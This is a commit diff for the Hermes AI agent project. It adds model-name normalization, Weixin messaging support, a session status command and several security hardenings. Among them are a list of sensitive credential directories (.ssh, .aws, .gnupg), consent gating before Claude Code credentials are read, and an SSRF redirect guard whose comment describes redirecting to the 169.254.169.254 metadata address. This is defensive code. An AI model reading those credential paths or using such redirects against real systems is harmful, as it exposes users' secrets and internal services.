fix tests

HERMES_OVERLAYS keys use models.dev IDs (e.g. 'github-copilot') but
_PROVIDER_MODELS curated lists and config.yaml use Hermes provider IDs
('copilot'). list_authenticated_providers() Section 2 was using the
overlay key directly for model lookups and is_current checks, causing:
- 0 models shown for copilot, kimi, kilo, opencode, vercel
- is_current never matching the config provider

Fix: build reverse mapping from PROVIDER_TO_MODELS_DEV to translate
overlay keys to Hermes slugs before curated list lookup and result
construction. Also adds 'kimi-for-coding' alias in auth.py so the
picker's returned slug resolves correctly in resolve_provider().

Fixes #5223. Based on work by HearthCore (#6492) and linxule (#6287).

Co-authored-by: HearthCore <HearthCore@users.noreply.github.com>
Co-authored-by: linxule <linxule@users.noreply.github.com>

agent/auxiliary_client.py

@@ -687,6 +687,15 @@ def _resolve_api_key_provider() -> Tuple[Optional[OpenAI], Optional[str]]:
         if pconfig.auth_type != "api_key":
             continue
         if provider_id == "anthropic":
+            # Only try anthropic when the user has explicitly configured it.
+            # Without this gate, Claude Code credentials get silently used
+            # as auxiliary fallback when the user's primary provider fails.
+            try:
+                from hermes_cli.auth import is_provider_explicitly_configured
+                if not is_provider_explicitly_configured("anthropic"):
+                    continue
+            except ImportError:
+                pass
             return _try_anthropic()
 
         pool_present, entry = _select_pool_entry(provider_id)
@@ -1165,6 +1174,18 @@ def _to_async_client(sync_client, model: str):
     return AsyncOpenAI(**async_kwargs), model
 
 
+def _normalize_resolved_model(model_name: Optional[str], provider: str) -> Optional[str]:
+    """Normalize a resolved model for the provider that will receive it."""
+    if not model_name:
+        return model_name
+    try:
+        from hermes_cli.model_normalize import normalize_model_for_provider
+
+        return normalize_model_for_provider(model_name, provider)
+    except Exception:
+        return model_name
+
+
 def resolve_provider_client(
     provider: str,
     model: str = None,
@@ -1227,7 +1248,7 @@ def resolve_provider_client(
             logger.warning("resolve_provider_client: openrouter requested "
                            "but OPENROUTER_API_KEY not set")
             return None, None
-        final_model = model or default
+        final_model = _normalize_resolved_model(model or default, provider)
         return (_to_async_client(client, final_model) if async_mode
                 else (client, final_model))
 
@@ -1238,7 +1259,7 @@ def resolve_provider_client(
             logger.warning("resolve_provider_client: nous requested "
                            "but Nous Portal not configured (run: hermes auth)")
             return None, None
-        final_model = model or default
+        final_model = _normalize_resolved_model(model or default, provider)
         return (_to_async_client(client, final_model) if async_mode
                 else (client, final_model))
 
@@ -1252,7 +1273,7 @@ def resolve_provider_client(
                 logger.warning("resolve_provider_client: openai-codex requested "
                                "but no Codex OAuth token found (run: hermes model)")
                 return None, None
-            final_model = model or _CODEX_AUX_MODEL
+            final_model = _normalize_resolved_model(model or _CODEX_AUX_MODEL, provider)
             raw_client = OpenAI(api_key=codex_token, base_url=_CODEX_AUX_BASE_URL)
             return (raw_client, final_model)
         # Standard path: wrap in CodexAuxiliaryClient adapter
@@ -1261,7 +1282,7 @@ def resolve_provider_client(
             logger.warning("resolve_provider_client: openai-codex requested "
                            "but no Codex OAuth token found (run: hermes model)")
             return None, None
-        final_model = model or default
+        final_model = _normalize_resolved_model(model or default, provider)
         return (_to_async_client(client, final_model) if async_mode
                 else (client, final_model))
 
@@ -1280,7 +1301,10 @@ def resolve_provider_client(
                     "but base_url is empty"
                 )
                 return None, None
-            final_model = model or _read_main_model() or "gpt-4o-mini"
+            final_model = _normalize_resolved_model(
+                model or _read_main_model() or "gpt-4o-mini",
+                provider,
+            )
             extra = {}
             if "api.kimi.com" in custom_base.lower():
                 extra["default_headers"] = {"User-Agent": "KimiCLI/1.30.0"}
@@ -1295,7 +1319,7 @@ def resolve_provider_client(
                        _resolve_api_key_provider):
             client, default = try_fn()
             if client is not None:
-                final_model = model or default
+                final_model = _normalize_resolved_model(model or default, provider)
                 return (_to_async_client(client, final_model) if async_mode
                         else (client, final_model))
         logger.warning("resolve_provider_client: custom/main requested "
@@ -1310,7 +1334,10 @@ def resolve_provider_client(
             custom_base = custom_entry.get("base_url", "").strip()
             custom_key = custom_entry.get("api_key", "").strip() or "no-key-required"
             if custom_base:
-                final_model = model or _read_main_model() or "gpt-4o-mini"
+                final_model = _normalize_resolved_model(
+                    model or _read_main_model() or "gpt-4o-mini",
+                    provider,
+                )
                 client = OpenAI(api_key=custom_key, base_url=custom_base)
                 logger.debug(
                     "resolve_provider_client: named custom provider %r (%s)",
@@ -1342,7 +1369,7 @@ def resolve_provider_client(
             if client is None:
                 logger.warning("resolve_provider_client: anthropic requested but no Anthropic credentials found")
                 return None, None
-            final_model = model or default_model
+            final_model = _normalize_resolved_model(model or default_model, provider)
             return (_to_async_client(client, final_model) if async_mode else (client, final_model))
 
         creds = resolve_api_key_provider_credentials(provider)
@@ -1361,7 +1388,7 @@ def resolve_provider_client(
         )
 
         default_model = _API_KEY_PROVIDER_AUX_MODELS.get(provider, "")
-        final_model = model or default_model
+        final_model = _normalize_resolved_model(model or default_model, provider)
 
         # Provider-specific headers
         headers = {}

agent/context_references.py

@@ -13,8 +13,9 @@ from typing import Awaitable, Callable
 
 from agent.model_metadata import estimate_tokens_rough
 
+_QUOTED_REFERENCE_VALUE = r'(?:`[^`\n]+`|"[^"\n]+"|\'[^\'\n]+\')'
 REFERENCE_PATTERN = re.compile(
-    r"(?<![\w/])@(?:(?P<simple>diff|staged)\b|(?P<kind>file|folder|git|url):(?P<value>\S+))"
+    rf"(?<![\w/])@(?:(?P<simple>diff|staged)\b|(?P<kind>file|folder|git|url):(?P<value>{_QUOTED_REFERENCE_VALUE}(?::\d+(?:-\d+)?)?|\S+))"
 )
 TRAILING_PUNCTUATION = ",.;!?"
 _SENSITIVE_HOME_DIRS = (".ssh", ".aws", ".gnupg", ".kube", ".docker", ".azure", ".config/gh")
@@ -81,14 +82,10 @@ def parse_context_references(message: str) -> list[ContextReference]:
         value = _strip_trailing_punctuation(match.group("value") or "")
         line_start = None
         line_end = None
-        target = value
+        target = _strip_reference_wrappers(value)
 
         if kind == "file":
-            range_match = re.match(r"^(?P<path>.+?):(?P<start>\d+)(?:-(?P<end>\d+))?$", value)
-            if range_match:
-                target = range_match.group("path")
-                line_start = int(range_match.group("start"))
-                line_end = int(range_match.group("end") or range_match.group("start"))
+            target, line_start, line_end = _parse_file_reference_value(value)
 
         refs.append(
             ContextReference(
@@ -375,6 +372,38 @@ def _strip_trailing_punctuation(value: str) -> str:
     return stripped
 
 
+def _strip_reference_wrappers(value: str) -> str:
+    if len(value) >= 2 and value[0] == value[-1] and value[0] in "`\"'":
+        return value[1:-1]
+    return value
+
+
+def _parse_file_reference_value(value: str) -> tuple[str, int | None, int | None]:
+    quoted_match = re.match(
+        r'^(?P<quote>`|"|\')(?P<path>.+?)(?P=quote)(?::(?P<start>\d+)(?:-(?P<end>\d+))?)?$',
+        value,
+    )
+    if quoted_match:
+        line_start = quoted_match.group("start")
+        line_end = quoted_match.group("end")
+        return (
+            quoted_match.group("path"),
+            int(line_start) if line_start is not None else None,
+            int(line_end or line_start) if line_start is not None else None,
+        )
+
+    range_match = re.match(r"^(?P<path>.+?):(?P<start>\d+)(?:-(?P<end>\d+))?$", value)
+    if range_match:
+        line_start = int(range_match.group("start"))
+        return (
+            range_match.group("path"),
+            line_start,
+            int(range_match.group("end") or range_match.group("start")),
+        )
+
+    return _strip_reference_wrappers(value), None, None
+
+
 def _remove_reference_tokens(message: str, refs: list[ContextReference]) -> str:
     pieces: list[str] = []
     cursor = 0

agent/credential_pool.py

@@ -1059,6 +1059,17 @@ def _seed_from_singletons(provider: str, entries: List[PooledCredential]) -> Tup
     auth_store = _load_auth_store()
 
     if provider == "anthropic":
+        # Only auto-discover external credentials (Claude Code, Hermes PKCE)
+        # when the user has explicitly configured anthropic as their provider.
+        # Without this gate, auxiliary client fallback chains silently read
+        # ~/.claude/.credentials.json without user consent.  See PR #4210.
+        try:
+            from hermes_cli.auth import is_provider_explicitly_configured
+            if not is_provider_explicitly_configured("anthropic"):
+                return changed, active_sources
+        except ImportError:
+            pass
+
         from agent.anthropic_adapter import read_claude_code_credentials, read_hermes_oauth_credentials
 
         for source_name, creds in (
@@ -1066,6 +1077,13 @@ def _seed_from_singletons(provider: str, entries: List[PooledCredential]) -> Tup
             ("claude_code", read_claude_code_credentials()),
         ):
             if creds and creds.get("accessToken"):
+                # Check if user explicitly removed this source
+                try:
+                    from hermes_cli.auth import is_source_suppressed
+                    if is_source_suppressed(provider, source_name):
+                        continue
+                except ImportError:
+                    pass
                 active_sources.add(source_name)
                 changed |= _upsert_entry(
                     entries,

agent/error_classifier.py

@@ -112,6 +112,7 @@ _RATE_LIMIT_PATTERNS = [
     "try again in",
     "please retry after",
     "resource_exhausted",
+    "rate increased too quickly",  # Alibaba/DashScope throttling
 ]
 
 # Usage-limit patterns that need disambiguation (could be billing OR rate_limit)

agent/model_metadata.py

@@ -213,6 +213,7 @@ _URL_TO_PROVIDER: Dict[str, str] = {
     "models.github.ai": "copilot",
     "api.fireworks.ai": "fireworks",
     "opencode.ai": "opencode-go",
+    "api.x.ai": "xai",
 }
 
 

agent/prompt_builder.py

@@ -356,6 +356,14 @@ PLATFORM_HINTS = {
         "MEDIA:/absolute/path/to/file in your response. Images (.jpg, .png, "
         ".heic) appear as photos and other files arrive as attachments."
     ),
+    "weixin": (
+        "You are on Weixin/WeChat. Markdown formatting is supported, so you may use it when "
+        "it improves readability, but keep the message compact and chat-friendly. You can send media files natively: "
+        "include MEDIA:/absolute/path/to/file in your response. Images are sent as native "
+        "photos, videos play inline when supported, and other files arrive as downloadable "
+        "documents. You can also include image URLs in markdown format ![alt](url) and they "
+        "will be downloaded and sent as native media when possible."
+    ),
 }
 
 CONTEXT_FILE_MAX_CHARS = 20_000

agent/rate_limit_tracker.py

@@ -97,8 +97,12 @@ def parse_rate_limit_headers(
 
     Returns None if no rate limit headers are present.
     """
+    # Normalize to lowercase so lookups work regardless of how the server
+    # capitalises headers (HTTP header names are case-insensitive per RFC 7230).
+    lowered = {k.lower(): v for k, v in headers.items()}
+
     # Quick check: at least one rate limit header must exist
-    has_any = any(k.lower().startswith("x-ratelimit-") for k in headers)
+    has_any = any(k.startswith("x-ratelimit-") for k in lowered)
     if not has_any:
         return None
 
@@ -109,9 +113,9 @@ def parse_rate_limit_headers(
         #      resource="tokens", suffix="-1h" -> per-hour
         tag = f"{resource}{suffix}"
         return RateLimitBucket(
-            limit=_safe_int(headers.get(f"x-ratelimit-limit-{tag}")),
-            remaining=_safe_int(headers.get(f"x-ratelimit-remaining-{tag}")),
-            reset_seconds=_safe_float(headers.get(f"x-ratelimit-reset-{tag}")),
+            limit=_safe_int(lowered.get(f"x-ratelimit-limit-{tag}")),
+            remaining=_safe_int(lowered.get(f"x-ratelimit-remaining-{tag}")),
+            reset_seconds=_safe_float(lowered.get(f"x-ratelimit-reset-{tag}")),
             captured_at=now,
         )
 

agent/smart_model_routing.py

@@ -181,6 +181,7 @@ def resolve_turn_route(user_message: str, routing_config: Optional[Dict[str, Any
             "api_mode": runtime.get("api_mode"),
             "command": runtime.get("command"),
             "args": list(runtime.get("args") or []),
+            "credential_pool": runtime.get("credential_pool"),
         },
         "label": f"smart route → {route.get('model')} ({runtime.get('provider')})",
         "signature": (

cli.py

@@ -319,7 +319,7 @@ def load_cli_config() -> Dict[str, Any]:
     # Load from file if exists
     if config_path.exists():
         try:
-            with open(config_path, "r") as f:
+            with open(config_path, "r", encoding="utf-8") as f:
                 file_config = yaml.safe_load(f) or {}
             
             _file_has_terminal_config = "terminal" in file_config
@@ -1048,7 +1048,7 @@ def _termux_example_image_path(filename: str = "cat.png") -> str:
 
 
 def _split_path_input(raw: str) -> tuple[str, str]:
-    """Split a leading file path token from trailing free-form text.
+    r"""Split a leading file path token from trailing free-form text.
 
     Supports quoted paths and backslash-escaped spaces so callers can accept
     inputs like:
@@ -1719,6 +1719,7 @@ class HermesCLI:
         self._secret_state = None
         self._secret_deadline = 0
         self._spinner_text: str = ""  # thinking spinner text for TUI
+        self._tool_start_time: float = 0.0  # monotonic timestamp when current tool started (for live elapsed)
         self._command_running = False
         self._command_status = ""
         self._attached_images: list[Path] = []
@@ -2027,6 +2028,25 @@ class HermesCLI:
         current_model = (self.model or "").strip()
         changed = False
 
+        try:
+            from hermes_cli.model_normalize import (
+                _AGGREGATOR_PROVIDERS,
+                normalize_model_for_provider,
+            )
+
+            if resolved_provider not in _AGGREGATOR_PROVIDERS:
+                normalized_model = normalize_model_for_provider(current_model, resolved_provider)
+                if normalized_model and normalized_model != current_model:
+                    if not self._model_is_default:
+                        self.console.print(
+                            f"[yellow]⚠️  Normalized model '{current_model}' to '{normalized_model}' for {resolved_provider}.[/]"
+                        )
+                    self.model = normalized_model
+                    current_model = normalized_model
+                    changed = True
+        except Exception:
+            pass
+
         if resolved_provider == "copilot":
             try:
                 from hermes_cli.models import copilot_model_api_mode, normalize_copilot_model_id
@@ -2072,7 +2092,7 @@ class HermesCLI:
             return changed
 
         if resolved_provider != "openai-codex":
-            return False
+            return changed
 
         # 1. Strip provider prefix ("openai/gpt-5.4" → "gpt-5.4")
         if "/" in current_model:
@@ -2111,6 +2131,7 @@ class HermesCLI:
         if not text:
             self._flush_reasoning_preview(force=True)
         self._spinner_text = text or ""
+        self._tool_start_time = 0.0  # clear tool timer when switching to thinking
         self._invalidate()
 
     # ── Streaming display ────────────────────────────────────────────────
@@ -3360,22 +3381,22 @@ class HermesCLI:
             pass  # Don't crash on import errors
     
     def _show_status(self):
-        """Show current status bar."""
+        """Show compact startup status line."""
         # Get tool count
         tools = get_tool_definitions(enabled_toolsets=self.enabled_toolsets, quiet_mode=True)
         tool_count = len(tools) if tools else 0
-        
+
         # Format model name (shorten if needed)
         model_short = self.model.split("/")[-1] if "/" in self.model else self.model
         if len(model_short) > 30:
             model_short = model_short[:27] + "..."
-        
+
         # Get API status indicator
         if self.api_key:
             api_indicator = "[green bold]●[/]"
         else:
             api_indicator = "[red bold]●[/]"
-        
+
         # Build status line with proper markup
         toolsets_info = ""
         if self.enabled_toolsets and "all" not in self.enabled_toolsets:
@@ -3390,6 +3411,59 @@ class HermesCLI:
             f"[dim #B8860B]·[/] [bold cyan]{tool_count} tools[/]"
             f"{toolsets_info}{provider_info}"
         )
+
+    def _show_session_status(self):
+        """Show gateway-style status for the current CLI session."""
+        session_meta = {}
+        if self._session_db:
+            try:
+                session_meta = self._session_db.get_session(self.session_id) or {}
+            except Exception:
+                session_meta = {}
+
+        title = (session_meta.get("title") or "").strip()
+
+        created_at = self.session_start
+        started_at = session_meta.get("started_at")
+        if started_at:
+            try:
+                created_at = datetime.fromtimestamp(float(started_at))
+            except Exception:
+                created_at = self.session_start
+
+        updated_at = created_at
+        for field in ("updated_at", "last_updated_at", "last_activity_at"):
+            value = session_meta.get(field)
+            if not value:
+                continue
+            try:
+                updated_at = datetime.fromtimestamp(float(value))
+                break
+            except Exception:
+                pass
+
+        agent = getattr(self, "agent", None)
+        total_tokens = getattr(agent, "session_total_tokens", 0) or 0
+        provider = getattr(self, "provider", None) or "unknown"
+        model = getattr(self, "model", None) or "(unknown)"
+        is_running = bool(getattr(self, "_agent_running", False))
+
+        lines = [
+            "Hermes CLI Status",
+            "",
+            f"Session ID: {self.session_id}",
+            f"Path: {display_hermes_home()}",
+        ]
+        if title:
+            lines.append(f"Title: {title}")
+        lines.extend([
+            f"Model: {model} ({provider})",
+            f"Created: {created_at.strftime('%Y-%m-%d %H:%M')}",
+            f"Last Activity: {updated_at.strftime('%Y-%m-%d %H:%M')}",
+            f"Tokens: {total_tokens:,}",
+            f"Agent Running: {'Yes' if is_running else 'No'}",
+        ])
+        self.console.print("\n".join(lines), highlight=False, markup=False)
     
     def _fast_command_available(self) -> bool:
         try:
@@ -4873,6 +4947,8 @@ class HermesCLI:
                 self._handle_skills_command(cmd_original)
         elif canonical == "platforms":
             self._show_gateway_status()
+        elif canonical == "status":
+            self._show_session_status()
         elif canonical == "statusbar":
             self._status_bar_visible = not self._status_bar_visible
             state = "visible" if self._status_bar_visible else "hidden"
@@ -6071,11 +6147,20 @@ class HermesCLI:
         Updates the TUI spinner widget so the user can see what the agent
         is doing during tool execution (fills the gap between thinking
         spinner and next response).  Also plays audio cue in voice mode.
+
+        On tool.started, records a monotonic timestamp so get_spinner_text()
+        can show a live elapsed timer (the TUI poll loop already invalidates
+        every ~0.15s, so the counter updates automatically).
         """
-        # Only act on tool.started; ignore tool.completed, reasoning.available, etc.
+        if event_type == "tool.completed":
+            import time as _time
+            self._tool_start_time = 0.0
+            self._invalidate()
+            return
         if event_type != "tool.started":
             return
         if function_name and not function_name.startswith("_"):
+            import time as _time
             from agent.display import get_tool_emoji
             emoji = get_tool_emoji(function_name)
             label = preview or function_name
@@ -6084,6 +6169,7 @@ class HermesCLI:
             if _pl > 0 and len(label) > _pl:
                 label = label[:_pl - 3] + "..."
             self._spinner_text = f"{emoji} {label}"
+            self._tool_start_time = _time.monotonic()
             self._invalidate()
 
         if not self._voice_mode:
@@ -7925,7 +8011,7 @@ class HermesCLI:
             agent_name = get_active_skin().get_branding("agent_name", "Hermes Agent")
             msg = f"\n{agent_name} has been suspended. Run `fg` to bring {agent_name} back."
             def _suspend():
-                os.write(1, msg.encode())
+                os.write(1, msg.encode("utf-8", errors="replace"))
                 os.kill(0, _sig.SIGTSTP)
             run_in_terminal(_suspend)
 
@@ -8285,6 +8371,17 @@ class HermesCLI:
             txt = cli_ref._spinner_text
             if not txt:
                 return []
+            # Append live elapsed timer when a tool is running
+            t0 = cli_ref._tool_start_time
+            if t0 > 0:
+                import time as _time
+                elapsed = _time.monotonic() - t0
+                if elapsed >= 60:
+                    _m, _s = int(elapsed // 60), int(elapsed % 60)
+                    elapsed_str = f"{_m}m {_s}s"
+                else:
+                    elapsed_str = f"{elapsed:.1f}s"
+                return [('class:hint', f'  {txt}  ({elapsed_str})')]
             return [('class:hint', f'  {txt}')]
 
         def get_spinner_height():
@@ -8819,6 +8916,7 @@ class HermesCLI:
                     finally:
                         self._agent_running = False
                         self._spinner_text = ""
+                        self._tool_start_time = 0.0
 
                         app.invalidate()  # Refresh status line
 

cron/scheduler.py

@@ -44,7 +44,7 @@ logger = logging.getLogger(__name__)
 _KNOWN_DELIVERY_PLATFORMS = frozenset({
     "telegram", "discord", "slack", "whatsapp", "signal",
     "matrix", "mattermost", "homeassistant", "dingtalk", "feishu",
-    "wecom", "sms", "email", "webhook", "bluebubbles",
+    "wecom", "weixin", "sms", "email", "webhook", "bluebubbles",
 })
 
 from cron.jobs import get_due_jobs, mark_job_run, save_job_output, advance_next_run
@@ -234,6 +234,7 @@ def _deliver_result(job: dict, content: str, adapters=None, loop=None) -> Option
         "dingtalk": Platform.DINGTALK,
         "feishu": Platform.FEISHU,
         "wecom": Platform.WECOM,
+        "weixin": Platform.WEIXIN,
         "email": Platform.EMAIL,
         "sms": Platform.SMS,
         "bluebubbles": Platform.BLUEBUBBLES,

docker/entrypoint.sh

@@ -9,7 +9,10 @@ INSTALL_DIR="/opt/hermes"
 # (cache/images, cache/audio, platforms/whatsapp, etc.) are created on
 # demand by the application — don't pre-create them here so new installs
 # get the consolidated layout from get_hermes_dir().
-mkdir -p "$HERMES_HOME"/{cron,sessions,logs,hooks,memories,skills}
+# The "home/" subdirectory is a per-profile HOME for subprocesses (git,
+# ssh, gh, npm …).  Without it those tools write to /root which is
+# ephemeral and shared across profiles.  See issue #4426.
+mkdir -p "$HERMES_HOME"/{cron,sessions,logs,hooks,memories,skills,home}
 
 # .env
 if [ ! -f "$HERMES_HOME/.env" ]; then

gateway/channel_directory.py

@@ -77,7 +77,7 @@ def build_channel_directory(adapters: Dict[Any, Any]) -> Dict[str, Any]:
             logger.warning("Channel directory: failed to build %s: %s", platform.value, e)
 
     # Telegram, WhatsApp & Signal can't enumerate chats -- pull from session history
-    for plat_name in ("telegram", "whatsapp", "signal", "email", "sms", "bluebubbles"):
+    for plat_name in ("telegram", "whatsapp", "signal", "weixin", "email", "sms", "bluebubbles"):
         if plat_name not in platforms:
             platforms[plat_name] = _build_from_sessions(plat_name)
 

gateway/config.py

@@ -63,6 +63,7 @@ class Platform(Enum):
     WEBHOOK = "webhook"
     FEISHU = "feishu"
     WECOM = "wecom"
+    WEIXIN = "weixin"
     BLUEBUBBLES = "bluebubbles"
 
 
@@ -261,6 +262,11 @@ class GatewayConfig:
         for platform, config in self.platforms.items():
             if not config.enabled:
                 continue
+            # Weixin requires both a token and an account_id
+            if platform == Platform.WEIXIN:
+                if config.extra.get("account_id") and (config.token or config.extra.get("token")):
+                    connected.append(platform)
+                continue
             # Platforms that use token/api_key auth
             if config.token or config.api_key:
                 connected.append(platform)
@@ -536,6 +542,8 @@ def load_gateway_config() -> GatewayConfig:
                     bridged["free_response_channels"] = platform_cfg["free_response_channels"]
                 if "mention_patterns" in platform_cfg:
                     bridged["mention_patterns"] = platform_cfg["mention_patterns"]
+                if plat == Platform.DISCORD and "channel_skill_bindings" in platform_cfg:
+                    bridged["channel_skill_bindings"] = platform_cfg["channel_skill_bindings"]
                 if not bridged:
                     continue
                 plat_data = platforms_data.setdefault(plat.value, {})
@@ -672,6 +680,7 @@ def load_gateway_config() -> GatewayConfig:
         Platform.SLACK: "SLACK_BOT_TOKEN",
         Platform.MATTERMOST: "MATTERMOST_TOKEN",
         Platform.MATRIX: "MATRIX_ACCESS_TOKEN",
+        Platform.WEIXIN: "WEIXIN_TOKEN",
     }
     for platform, pconfig in config.platforms.items():
         if not pconfig.enabled:
@@ -976,6 +985,44 @@ def _apply_env_overrides(config: GatewayConfig) -> None:
                 name=os.getenv("WECOM_HOME_CHANNEL_NAME", "Home"),
             )
 
+    # Weixin (personal WeChat via iLink Bot API)
+    weixin_token = os.getenv("WEIXIN_TOKEN")
+    weixin_account_id = os.getenv("WEIXIN_ACCOUNT_ID")
+    if weixin_token or weixin_account_id:
+        if Platform.WEIXIN not in config.platforms:
+            config.platforms[Platform.WEIXIN] = PlatformConfig()
+        config.platforms[Platform.WEIXIN].enabled = True
+        if weixin_token:
+            config.platforms[Platform.WEIXIN].token = weixin_token
+        extra = config.platforms[Platform.WEIXIN].extra
+        if weixin_account_id:
+            extra["account_id"] = weixin_account_id
+        weixin_base_url = os.getenv("WEIXIN_BASE_URL", "").strip()
+        if weixin_base_url:
+            extra["base_url"] = weixin_base_url.rstrip("/")
+        weixin_cdn_base_url = os.getenv("WEIXIN_CDN_BASE_URL", "").strip()
+        if weixin_cdn_base_url:
+            extra["cdn_base_url"] = weixin_cdn_base_url.rstrip("/")
+        weixin_dm_policy = os.getenv("WEIXIN_DM_POLICY", "").strip().lower()
+        if weixin_dm_policy:
+            extra["dm_policy"] = weixin_dm_policy
+        weixin_group_policy = os.getenv("WEIXIN_GROUP_POLICY", "").strip().lower()
+        if weixin_group_policy:
+            extra["group_policy"] = weixin_group_policy
+        weixin_allowed_users = os.getenv("WEIXIN_ALLOWED_USERS", "").strip()
+        if weixin_allowed_users:
+            extra["allow_from"] = weixin_allowed_users
+        weixin_group_allowed_users = os.getenv("WEIXIN_GROUP_ALLOWED_USERS", "").strip()
+        if weixin_group_allowed_users:
+            extra["group_allow_from"] = weixin_group_allowed_users
+        weixin_home = os.getenv("WEIXIN_HOME_CHANNEL", "").strip()
+        if weixin_home:
+            config.platforms[Platform.WEIXIN].home_channel = HomeChannel(
+                platform=Platform.WEIXIN,
+                chat_id=weixin_home,
+                name=os.getenv("WEIXIN_HOME_CHANNEL_NAME", "Home"),
+            )
+
     # BlueBubbles (iMessage)
     bluebubbles_server_url = os.getenv("BLUEBUBBLES_SERVER_URL")
     bluebubbles_password = os.getenv("BLUEBUBBLES_PASSWORD")

gateway/platforms/api_server.py

@@ -20,10 +20,12 @@ Requires:
 """
 
 import asyncio
+import hashlib
 import hmac
 import json
 import logging
 import os
+import socket as _socket
 import re
 import sqlite3
 import time
@@ -41,6 +43,7 @@ from gateway.config import Platform, PlatformConfig
 from gateway.platforms.base import (
     BasePlatformAdapter,
     SendResult,
+    is_network_accessible,
 )
 
 logger = logging.getLogger(__name__)
@@ -52,6 +55,7 @@ MAX_STORED_RESPONSES = 100
 MAX_REQUEST_BYTES = 1_000_000  # 1 MB default limit for POST bodies
 
 
+
 def check_api_server_requirements() -> bool:
     """Check if API server dependencies are available."""
     return AIOHTTP_AVAILABLE
@@ -283,6 +287,24 @@ def _make_request_fingerprint(body: Dict[str, Any], keys: List[str]) -> str:
     return sha256(repr(subset).encode("utf-8")).hexdigest()
 
 
+def _derive_chat_session_id(
+    system_prompt: Optional[str],
+    first_user_message: str,
+) -> str:
+    """Derive a stable session ID from the conversation's first user message.
+
+    OpenAI-compatible frontends (Open WebUI, LibreChat, etc.) send the full
+    conversation history with every request.  The system prompt and first user
+    message are constant across all turns of the same conversation, so hashing
+    them produces a deterministic session ID that lets the API server reuse
+    the same Hermes session (and therefore the same Docker container sandbox
+    directory) across turns.
+    """
+    seed = f"{system_prompt or ''}\n{first_user_message}"
+    digest = hashlib.sha256(seed.encode("utf-8")).hexdigest()[:16]
+    return f"api-{digest}"
+
+
 class APIServerAdapter(BasePlatformAdapter):
     """
     OpenAI-compatible HTTP API server adapter.
@@ -387,7 +409,8 @@ class APIServerAdapter(BasePlatformAdapter):
         Validate Bearer token from Authorization header.
 
         Returns None if auth is OK, or a 401 web.Response on failure.
-        If no API key is configured, all requests are allowed.
+        If no API key is configured, all requests are allowed (only when API
+        server is local)
         """
         if not self._api_key:
             return None  # No key configured — allow all (local-only use)
@@ -590,7 +613,16 @@ class APIServerAdapter(BasePlatformAdapter):
                 logger.warning("Failed to load session history for %s: %s", session_id, e)
                 history = []
         else:
-            session_id = str(uuid.uuid4())
+            # Derive a stable session ID from the conversation fingerprint so
+            # that consecutive messages from the same Open WebUI (or similar)
+            # conversation map to the same Hermes session.  The first user
+            # message + system prompt are constant across all turns.
+            first_user = ""
+            for cm in conversation_messages:
+                if cm.get("role") == "user":
+                    first_user = cm.get("content", "")
+                    break
+            session_id = _derive_chat_session_id(system_prompt, first_user)
             # history already set from request body above
 
         completion_id = f"chatcmpl-{uuid.uuid4().hex[:29]}"
@@ -1366,6 +1398,7 @@ class APIServerAdapter(BasePlatformAdapter):
             result = agent.run_conversation(
                 user_message=user_message,
                 conversation_history=conversation_history,
+                task_id="default",
             )
             usage = {
                 "input_tokens": getattr(agent, "session_prompt_tokens", 0) or 0,
@@ -1532,6 +1565,7 @@ class APIServerAdapter(BasePlatformAdapter):
                     r = agent.run_conversation(
                         user_message=user_message,
                         conversation_history=conversation_history,
+                        task_id="default",
                     )
                     u = {
                         "input_tokens": getattr(agent, "session_prompt_tokens", 0) or 0,
@@ -1683,8 +1717,16 @@ class APIServerAdapter(BasePlatformAdapter):
             if hasattr(sweep_task, "add_done_callback"):
                 sweep_task.add_done_callback(self._background_tasks.discard)
 
+            # Refuse to start network-accessible without authentication
+            if is_network_accessible(self._host) and not self._api_key:
+                logger.error(
+                    "[%s] Refusing to start: binding to %s requires API_SERVER_KEY. "
+                    "Set API_SERVER_KEY or use the default 127.0.0.1.",
+                    self.name, self._host,
+                )
+                return False
+
             # Port conflict detection — fail fast if port is already in use
-            import socket as _socket
             try:
                 with _socket.socket(_socket.AF_INET, _socket.SOCK_STREAM) as _s:
                     _s.settimeout(1)

gateway/platforms/base.py

@@ -6,10 +6,12 @@ and implement the required methods.
 """
 
 import asyncio
+import ipaddress
 import logging
 import os
 import random
 import re
+import socket as _socket
 import subprocess
 import sys
 import uuid
@@ -19,6 +21,41 @@ from urllib.parse import urlsplit
 logger = logging.getLogger(__name__)
 
 
+def is_network_accessible(host: str) -> bool:
+    """Return True if *host* would expose the server beyond loopback.
+
+    Loopback addresses (127.0.0.1, ::1, IPv4-mapped ::ffff:127.0.0.1)
+    are local-only.  Unspecified addresses (0.0.0.0, ::) bind all
+    interfaces.  Hostnames are resolved; DNS failure fails closed.
+    """
+    try:
+        addr = ipaddress.ip_address(host)
+        if addr.is_loopback:
+            return False
+        # ::ffff:127.0.0.1 — Python reports is_loopback=False for mapped
+        # addresses, so check the underlying IPv4 explicitly.
+        if getattr(addr, "ipv4_mapped", None) and addr.ipv4_mapped.is_loopback:
+            return False
+        return True
+    except ValueError:
+        # when host variable is a hostname, we should try to resolve below
+        pass
+
+    try:
+        resolved = _socket.getaddrinfo(
+            host, None, _socket.AF_UNSPEC, _socket.SOCK_STREAM,
+        )
+        # if the hostname resolves into at least one non-loopback address,
+        # then we consider it to be network accessible
+        for _family, _type, _proto, _canonname, sockaddr in resolved:
+            addr = ipaddress.ip_address(sockaddr[0])
+            if not addr.is_loopback:
+                return True
+        return False
+    except (_socket.gaierror, OSError):
+        return True
+
+
 def _detect_macos_system_proxy() -> str | None:
     """Read the macOS system HTTP(S) proxy via ``scutil --proxy``.
 
@@ -160,7 +197,7 @@ GATEWAY_SECRET_CAPTURE_UNSUPPORTED_MESSAGE = (
 )
 
 
-def _safe_url_for_log(url: str, max_len: int = 80) -> str:
+def safe_url_for_log(url: str, max_len: int = 80) -> str:
     """Return a URL string safe for logs (no query/fragment/userinfo)."""
     if max_len <= 0:
         return ""
@@ -197,6 +234,23 @@ def _safe_url_for_log(url: str, max_len: int = 80) -> str:
     return f"{safe[:max_len - 3]}..."
 
 
+async def _ssrf_redirect_guard(response):
+    """Re-validate each redirect target to prevent redirect-based SSRF.
+
+    Without this, an attacker can host a public URL that 302-redirects to
+    http://169.254.169.254/ and bypass the pre-flight is_safe_url() check.
+
+    Must be async because httpx.AsyncClient awaits response event hooks.
+    """
+    if response.is_redirect and response.next_request:
+        redirect_url = str(response.next_request.url)
+        from tools.url_safety import is_safe_url
+        if not is_safe_url(redirect_url):
+            raise ValueError(
+                f"Blocked redirect to private/internal address: {safe_url_for_log(redirect_url)}"
+            )
+
+
 # ---------------------------------------------------------------------------
 # Image cache utilities
